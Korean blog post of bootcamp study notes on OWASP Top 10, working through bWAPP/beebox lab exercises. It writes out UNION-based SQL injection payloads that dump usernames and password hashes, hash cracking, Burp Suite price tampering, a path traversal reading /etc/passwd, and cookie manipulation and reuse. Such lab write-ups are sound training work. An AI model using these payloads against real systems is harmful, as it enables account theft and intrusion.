정보보안 전문가를 꿈꾸며 작성하는 블로그입니다.

SK 쉴더스 루키즈

[SK 쉴더스] 애플리케이션 보안 5일차 - OWASP Top 10(2)

minjoo 2022. 9. 26. 16:57

1. Database의 개념

- Database > Table > Column(속성, 세로줄), Record(항목, 가로줄)

* information_schema(Meta Database) : MySQL에 설치되어있는 다른 DB의 정보 저장

- DB 정보, Table 정보, Column 정보 등

 

2. 실습 - beebox

- beebox 가상머신 실행

- 인터넷 브라우저로 192.168.5.130 (beebox IP 주소) 접속

 

2.1 A1.Injection - SQL Injection (GET/search)

* 모든 계정에 대한 ID와 PW를 알아내기위한 조건

- DB이름, Table 이름, Column 이름을 알아내야 함 → SELECT문 사용(조회)

 

1) 영화 검색창에서 실행되는 select 문 예상

- select ?? from ?? where movie='  입력  ';

→ select문 두개를 연결하기위해 union 사용   

 

* union(합집합) 사용 조건

- 앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 동일해야 함

 

2) 컬럼 개수 알아내기

- select ?? from ?? where movie=' 'union select ~~  ';  // 앞의 select문의 컬럼개수를 모름

→ 1부터 시도해봄 (Brute Force)

ex. select ?? from ?? where movie=' ' union select 1 #  ';   // 컬럼의 개수가 1개가 아니면 Different Number of Columns 출력됨

→ select문이 실행될 경우 컬럼의 개수를 알 수 있음

- 화면의 속성을 보면 4개 이상임을 알 수 있으므로 1,2,3,4부터 시도

- ' union select 1,2,3,4,5,6,7 # 

4개부터 시도해본 결과 컬럼 개수가 7개임을 알 수 있음

- 출력 결과를 통해 1,6,7번째 컬럼은 보이지 않고 2,3,5,4 순서로 4개의 컬럼이 출력됨을 확인

→ 알고싶은 값을 union select문의 2,3,4,5번째에 입력

- 영화 목록은 출력될 필요 없음 → 첫번째 select문을 Null로 만들어줌(영화 이름에 없는 단어 입력)

→ ex) 1' union select 1,2,3,4,5,6,7 #   // 1이 들어가는 영화이름은 없음

3) DB명 알아내기

* 내부함수

- database() : DB명 알려줌

- version() : MySQL 버전 알려줌  // 버전을 알면 취약점을 알 수 있음(취약점 분석 : 버전을 알아내서 해당 취약점을 매칭시키는 것)

- user() : 사용자 이름 알려줌

- 1' union select 1,database(),version(),4,user(),6,7 #

→ DB명 : bWAPP, MySQL 버전 : 5.0.96-0ubuntu3, 사용자 이름 : root@localhost

4) 테이블명 알아내기

- hint : 테이블 정보는 information_schema 데이터베이스 아래에 tables 테이블에 저장, 컬럼명은 table_name

→ 1' union select 1,table_name,3,4,5,6,7 from information_schema.tables #

→ 모든 테이블명 출력(너무 많음) 

- bWAPP 데이터베이스의 테이블명만 출력

→ 1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

→ users 테이블 확인

5) 컬럼명 알아내기

- hint : 컬럼에 대한 정보는 information_schema라는 데이터베이스 아래에 columns 테이블에 저장, 컬럼명은 column_name)

→ 1' union select 1,column_name,3,4,5,6,7 from information_schema.columns #   // 너무 많이 나옴(대문자는 meta 값(실제 컬럼x)

- bWAPP 데이터베이스의 users 테이블의 컬럼만 출력

→ 1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users' #

→ id, login, password, secret 컬럼 확인

* 실제 DB 확인 - beebox

$ sudo mysql -u root -p   // passwd : bug

mysql> show databases;

mysql> use bWAPP;    // bWAPP DB를 사용하겠다는 의미

mysql> show tables;    // bWAPP DB의 테이블 확인

mysql> desc users;    // users 테이블의 컬럼 확인

mysql> select * from users;    //  users 테이블의 내용 확인

→ SQL Injection으로 확인한 결과와 동일함을 확인

mysql> use information_schema

mysql> show tables;    // information_schema 데이터베이스의 테이블 확인

mysql> desc columns;     // desc : describe / where 조건절에서는 descend(내림차순 정렬)

→ table_schema, table_name, column_name 컬럼 확인

6) 컬럼 내용 확인(id, login, password, secret)

- 테이블명 users

→ 1' union select 1,id,login,secret,password,6,7 from users #

- 4개의 계정의 id,passwd 확인 가능(비밀번호는 해시값으로 저장 → hashes.com 에서 복호화 가능 - salt값이 없는 것만 가능)

* hashes.com은 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고 일치하는 해시값을 검색할 경우 원문을 알려주는 방식 → 임의로 만든 해시값은 복호화할 수 없음

 

* Dictionary 

- 자주 사용하는 단어들을 모아놓은 파일

- 패스워드를 크래킹할 때 사용

 

* 원래는 해시값을 가지고 원문을 알 수 없음

* 해시값인지 어떻게 알았을까?

- a부터 f까지의 알파벳과 0부터 9까지의 숫자 → 16진수

- 16진수 = 2의 4승 = 4bit

- 해시값은 40자리의 수 → 40*4bit = 160bit → SHA-1의 해시값 

* blackpink, bts 계정은 실습전에 bWAPP의 Create User 메뉴를 통해 생성

 

* 해시함수

- MD5(128bit), SHA-1(160bit) : 안전하지 않음

- SHA-2(256bit) : bitcoin, 공동인증서 등에 사용

- SHA-2(512bit) : 리눅스 운영체제 등에 사용

- 해시값이 길수록 경우의 수가 늘어나므로 안전함

 

* 정보보호의 3요소

- 기밀성(Confidentiality) : 내용이 노출되지 않도록 하는 것

- 무결성(Integrity) : 내용이 변조되지 않도록 하는 것

- 가용성(Availability) : 항상 사용 가능한 상태를 유지하는 것

- 일반기업 : 기밀성 > 무결성 > 가용성

- 공공기관, 공기업 : 가용성 > 무결성 > 기밀성

 

3. A04:2021 - Insecure Design

* 보안 개발 생명 주기

- Life Cycle : 너무 오래된 소프트웨어는 취약점도 많아지므로 노후화되면 폐기해야 함

 

3.1 A04:2021 - Insecure Design 실습 - beebox : A4 - Insecure DOR (Order Tickets)

- 영화티켓 구매 페이지, 영화티켓 하나에 15 EUR

- 티켓을 1 EUR에 구매하려면?

1) 개발자도구(f12) 이용

- ticket_price의 value를 15 → 1로 변경

- 티켓 개수 입력 후 confirm 시 티켓값이 1 EUR임을 확인

2) Proxy 이용

- 윈도우 인터넷 연결 > 연결 > LAN 설정 > 프록시 서버 체크

- 버프스위트 intercept on

- 티켓구매페이지에서 15입력 후 confirm → 버프스위트에 잡힘

- ticket_price를 15 → 1로 변경 후 forward

→ 티켓값이 1 EUR로 변경됨을 확인

 

3.2 A04:2021 - Insecure Design 대응 방법

- 보안 개발 수명 주기 설정

- 중요한 인증, 액세스 제어 및 주요 흐름에 위협 모델링 사용

- 애플리케이션의 각 계층에서 타당성 검사 통합 ex) CMS(가격 조작 등을 검사하는 시스템)

 

4. A05:2021 - Security Misconfiguration

- 대응방법 : 에러메세지 노출 x(에러메세지를 통해 많은 것을 유추 가능)

 

4.1 A05:2021 - Security Misconfiguration 실습 : beebox : A7 - Directory Traversal - Directories

- 디렉토리가 그대로 노출됨

- 웹 쉘을 업로드하고, 웹 쉘 업로드한 경로를 찾기 어려울 때 디렉토리가 그대로 노출되면 쉽게 실행 가능

문제) /home/wolverine 디렉토리에 있는 PDF 파일의 개수

- 웹 쉘을 사용하지 않고 디렉토리 노출 원리 이용

- URL의 Query에 디렉토리 경로 입력 : ?directory=/home/wolverine/Examples

→ 9개

 

4.2 A05:2021 - Security Misconfiguration 실습 : beebox : A7 - Directory Traversal - Files

- 파일 내용이 그대로 노출됨

문제) /etc/passwd의 neo의 UID

- URL의 Query에 경로 입력 : ?page=/etc/passwd

* 자산(Asset)은 항상 약점(Weakness)이 있음

5. 약점(Weakness)

- 약점은 항상 존재함(없어지지 않음)

- 약점 번호체계 : CWE-nnnnn

 

6. 취약점(Vulnerability)

- 약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분

- 취약점 중에서 특히 실제 공격이 가능하면 Exploit이라고 함

- 취약점 번호체계 : CVE-YYYY-NNNNnnn  ex) CVE-2017-0143(SMB취약점)

 

7. Zeroday Exploit(제로데이 공격)

- 알려지지 않은 취약점(패치가 아직 없음, 제조사가 모르는 상태)

- 무방비 상태에서 공격을 하는 것

- 제조사가 패치를 만들기 전(PoC이전, 패치를 만드는중, 패치를 만들었는데 취약점이 사라지지 않는 경우 등)

- 패치를 만드는 데 걸리는 시간 : 25~50일(PoC → 설계 → 개발 → 테스터)

- Dark Web에서 고액으로 거래가 되기도 함

 

8. Oneday Exploit 

- 알려진 취약점(패치 나와있음, 패치 설치 안하면 공격 가능)

- 패치가 있는데 적용하지 않는 이유 : 의존성(Dependancy) 문제 → OS 업데이트후에 프로그램이 잘 안돌아가는 문제

* Version 3.2.8 (3:업그레이드, 2:업데이트, 8:패치)

 

9. A06:2021 - Vulverable and Outdated Componenets

* shodan : IoT 기기를 검색하는 검색 엔진

- 취약한 IoT 기기를 검색하거나 ID/PW가 취약한 장치를 파악할 때 사용

- shodan.io 사이트 접근을 차단하는것은 좋지 않음(우리나라에서 차단해도 다른나라는 우리나라 사이트의 취약점 확인 가능)

 

* Heartbleed(OpenSSL 취약점)

ex) 모자를 500자로 대답해달라고 서버에 요청 - 저장소의 데이터를 '모자'를 포함하여 500자만큼 응답

→ 불필요한 정보를 외부에 유출하는 취약점을 이용하는 것

 

10. A07:2021 - 식별 및 인증 오류

- 공격자가 유효한 사용자 및 암호 목록을 가지고 있는 경우 자동화 된 공격을 허용 ex. 자격증명스터핑(credential stuffing)

 

* Credential Stuffing(크리덴셜 스터핑)

- 취약한 사이트에서 여러사람의 ID/PW 목록을 알아냄

- 다른 사이트에 대입해보는 공격 방식

- 원인 : 대부분의 사람들이 여러 사이트에 같은 ID/PW를 사용

- 대응방안 : 강력한 보안 솔루션 사용 x → 사용자들이 사이트마다 서로 다른 ID/PW를 사용해야 함

 

10.1 A07:2021 - 식별 및 인증 오류 실습 - beebox : A2 Broken Authenrication - Insecure Login Forms

- ID/PW를 찾으시오

- 드래그를 해보면 id와 passwd가 숨겨져있는 것을 확인 (개발자도구(f12)를 이용해도 확인 가능)

 

10.2 A07:2021 - 식별 및 인증 오류 실습 - beebox : A2 Session Management - Administrative Portals(Low)

- 힌트에 따라 URL 확인

admin=0(false)

- admin=1로 변경(true)

10.3 A07:2021 - 식별 및 인증 오류 실습 - beebox : A2 Session Management - Administrative Portals(Medium)

1) 힌트에 따라 cookie 확인 (chrome의 확장 프로그램 활용)

- admin의 값을 1로 바꾸고 저장 후 새로고침

2) Proxy를 이용하면 cookie값 수정 가능

 

10.4 A07:2021 - 식별 및 인증 오류 실습 - beebox : A6 Base64 Encoding(Secret) (Low)

- 확장프로그램을 이용해 쿠키값 확인

- 쿠키값 QW55IGJ1Z3M%2F : %2F가 붙어있으면 UTF-8 변환 필요 → QW55IGJ1Z3M/

- 변환한 값을 Base64 디코딩 → Any bugs?

 

10.5 A07:2021 - 식별 및 인증 오류 실습 - beebox : A6 Base64 Encoding(Secret) (Medium)

- 쿠키값 확인

83785efbbef1b4cdf3260c5e6505f7d2261f738d

→ 해시값이므로 hashes.com에서 복호화 → Any bugs?

 

10.6 A07:2021 - 식별 및 인증 오류 실습 - beebox : A2 Broken Authenrication - Logout Management(Low)

문제) 로그아웃한 이후에 쿠키 재사용해보기(쿠키 재사용 공격)

- 로그인한 상태에서 쿠키값 복사

0867b2f171c98ede99d03fc36f8be503

- 로그아웃 후에 쿠키값에 임의의 값 입력 후 저장(이 과정이 없으면 쿠키값이 변하지 않음)

- URL의 login.php를 지우고 엔터

- 쿠키값을 다시 입력하고 URL의 login.php를 지우고 엔터 → welcome Bee로 로그인되는것을 확인